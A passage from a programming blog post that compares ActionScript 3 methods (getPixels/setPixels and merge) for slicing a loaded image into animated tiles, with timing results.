<span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> rows:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> cols:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> tiles:Vector.<span style="color: #66cc66;">&lt;</span>ByteArray<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>ByteArray<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> tileRect:Rectangle;
<span style="color: #000000; font-weight: bold;">var</span> locX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> onLoaded<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	w = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">width</span>;
	h = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">height</span>;
	<span style="color: #000000; font-weight: bold;">var</span> image:BitmapData = Bitmap<span style="color: #66cc66;">&#40;</span>evt.<span style="color: #0066CC;">target</span>.<span style="color: #006600;">content</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">bitmapData</span>;
	<span style="color: #000000; font-weight: bold;">var</span> tileWidth:<span style="color: #0066CC;">Number</span> = w <span style="color: #66cc66;">/</span> cols;
	<span style="color: #000000; font-weight: bold;">var</span> tileHeight:<span style="color: #0066CC;">Number</span> = h <span style="color: #66cc66;">/</span> rows;
	tileRect = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> inc:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>;
	<span style="color: #000000; font-weight: bold;">var</span> pnt:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> rect:Rectangle = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>rows; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> j:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; j<span style="color: #66cc66;">&lt;</span>cols; j ++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			 rect.<span style="color: #006600;">x</span> = j <span style="color: #66cc66;">*</span> tileWidth;
			 rect.<span style="color: #006600;">y</span> = i <span style="color: #66cc66;">*</span> tileHeight;
			 tiles<span style="color: #66cc66;">&#91;</span>tiles.<span style="color: #0066CC;">length</span><span style="color: #66cc66;">&#93;</span> = image.<span style="color: #006600;">getPixels</span><span style="color: #66cc66;">&#40;</span>rect<span style="color: #66cc66;">&#41;</span>;
			 rect.<span style="color: #006600;">x</span> += <span style="color: #cc66cc;">25</span>;
			 rect.<span style="color: #006600;">y</span> += <span style="color: #cc66cc;">25</span>;
			 sX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">x</span>;
			 sY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">y</span>;
			 locX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = -rect.<span style="color: #0066CC;">width</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>
			 locY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> =  <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>;
			 setTimeout<span style="color: #66cc66;">&#40;</span>startAnimation, inc <span style="color: #66cc66;">*</span><span style="color: #cc66cc;">4</span> + <span style="color: #cc66cc;">100</span>, inc, rect.<span style="color: #006600;">x</span>, rect.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
			 inc++;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;getPixels&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
	addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, onLoop<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> startAnimation<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span>, dx:<span style="color: #0066CC;">Number</span>, dy:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> interval:<span style="color: #0066CC;">Number</span>;
	<span style="color: #000000; font-weight: bold;">var</span> animate:<span style="color: #000000; font-weight: bold;">Function</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
		locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dx - locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dy - locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dx<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&amp;&amp;</span> <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dy<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dx;
			locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dy;
			<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>interval<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
   interval = <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>animate, <span style="color: #cc66cc;">32</span>, <span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">var</span> canvas:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>,<span style="color: #000000; font-weight: bold;">false</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> loc:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onLoop<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
	  canvas.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span>canvas.<span style="color: #006600;">rect</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>tiles.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			tileRect.<span style="color: #006600;">x</span> = locX<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			tileRect.<span style="color: #006600;">y</span> = locY<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			canvas.<span style="color: #006600;">setPixels</span><span style="color: #66cc66;">&#40;</span>tileRect,tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
			tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">position</span> = <span style="color: #cc66cc;">0</span>;
	  <span style="color: #66cc66;">&#125;</span>
	  <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;setPixels&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>a nice one, <strong>~ 17</strong> ms to extract and ~2ms to loop on my mac, faster than copyPixels but vectors are still leading&#8230;</p>
<p>Fourth strike: <strong>merge</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p144code26'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p14426"><td class="code" id="p144code26"><pre class="actionscript" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">650</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">650</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #000000; font-weight: bold;">var</span> loader:Loader = <span style="color: #000000; font-weight: bold;">new</span> Loader<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;http://actionsnippet.com/wp-content/chair.jpg&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #006600;">contentLoaderInfo</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">COMPLETE</span>, onLoaded<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> rows:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> cols:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> tiles:Vector.<span style="color: #66cc66;">&lt;</span>BitmapData<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>BitmapData<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> onLoaded<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	w = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">width</span>;
	h = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">height</span>;
	<span style="color: #000000; font-weight: bold;">var</span> image:BitmapData = Bitmap<span style="color: #66cc66;">&#40;</span>evt.<span style="color: #0066CC;">target</span>.<span style="color: #006600;">content</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">bitmapData</span>;
	<span style="color: #000000; font-weight: bold;">var</span> tileWidth:<span style="color: #0066CC;">Number</span> = w <span style="color: #66cc66;">/</span> cols;
	<span style="color: #000000; font-weight: bold;">var</span> tileHeight:<span style="color: #0066CC;">Number</span> = h <span style="color: #66cc66;">/</span> rows;
	<span style="color: #000000; font-weight: bold;">var</span> inc:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>;
	<span style="color: #000000; font-weight: bold;">var</span> pnt:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> rect:Rectangle = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>rows; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> j:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; j<span style="color: #66cc66;">&lt;</span>cols; j ++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			 <span style="color: #000000; font-weight: bold;">var</span> currTile:BitmapData= <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span>tileWidth, tileHeight, <span style="color: #000000; font-weight: bold;">true</span>, 0x00000000<span style="color: #66cc66;">&#41;</span>;
			 rect.<span style="color: #006600;">x</span> = j <span style="color: #66cc66;">*</span> tileWidth;
			 rect.<span style="color: #006600;">y</span> = i <span style="color: #66cc66;">*</span> tileHeight;
			 currTile.<span style="color: #006600;">merge</span><span style="color: #66cc66;">&#40;</span>image,rect,pnt,0xFF,0xFF,0xFF,0xFF<span style="color: #66cc66;">&#41;</span>;
			 tiles<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = currTile;
			 rect.<span style="color: #006600;">x</span> += <span style="color: #cc66cc;">25</span>;
			 rect.<span style="color: #006600;">y</span> += <span style="color: #cc66cc;">25</span>;
			 sX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">x</span>;
			 sY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">y</span>;
			 locX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = -rect.<span style="color: #0066CC;">width</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>
			 locY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> =  <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>;
			 setTimeout<span style="color: #66cc66;">&#40;</span>startAnimation, inc <span style="color: #66cc66;">*</span><span style="color: #cc66cc;">4</span> + <span style="color: #cc66cc;">100</span>, inc, rect.<span style="color: #006600;">x</span>, rect.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
			 inc++;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;merge&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
	addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, onLoop<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> startAnimation<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span>, dx:<span style="color: #0066CC;">Number</span>, dy:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> interval:<span style="color: #0066CC;">Number</span>;
	<span style="color: #000000; font-weight: bold;">var</span> animate:<span style="color: #000000; font-weight: bold;">Function</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
		locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dx - locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dy - locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dx<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&amp;&amp;</span> <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dy<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dx;
			locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dy;
			<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>interval<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
   interval = <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>animate, <span style="color: #cc66cc;">32</span>, <span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">var</span> canvas:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>,<span style="color: #000000; font-weight: bold;">false</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> loc:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onLoop<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
	  canvas.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span>canvas.<span style="color: #006600;">rect</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>tiles.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			<span style="color: #000000; font-weight: bold;">var</span> tile:BitmapData= tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			loc.<span style="color: #006600;">x</span> = locX<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
